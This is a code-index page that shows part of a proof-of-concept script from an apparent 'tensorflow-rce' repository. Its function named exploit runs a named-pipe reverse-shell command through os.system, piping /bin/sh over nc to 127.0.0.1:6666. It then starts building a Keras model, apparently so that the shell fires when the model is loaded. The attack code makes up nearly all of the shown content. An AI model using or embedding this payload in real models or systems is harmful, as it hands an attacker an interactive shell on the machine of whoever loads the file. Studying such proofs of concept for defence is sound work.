MCPcopy Index your code
hub / github.com/Splinter0/tensorflow-rce / exploit

Function exploit

exploit.py:3–6  ·  view source on GitHub ↗
(x)

Source from the content-addressed store, hash-verified

1import tensorflow as tf
2
3def exploit(x):
4 import os
5 os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
6 return x
7
8model = tf.keras.Sequential()
9model.add(tf.keras.layers.Input(shape=(64,)))

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected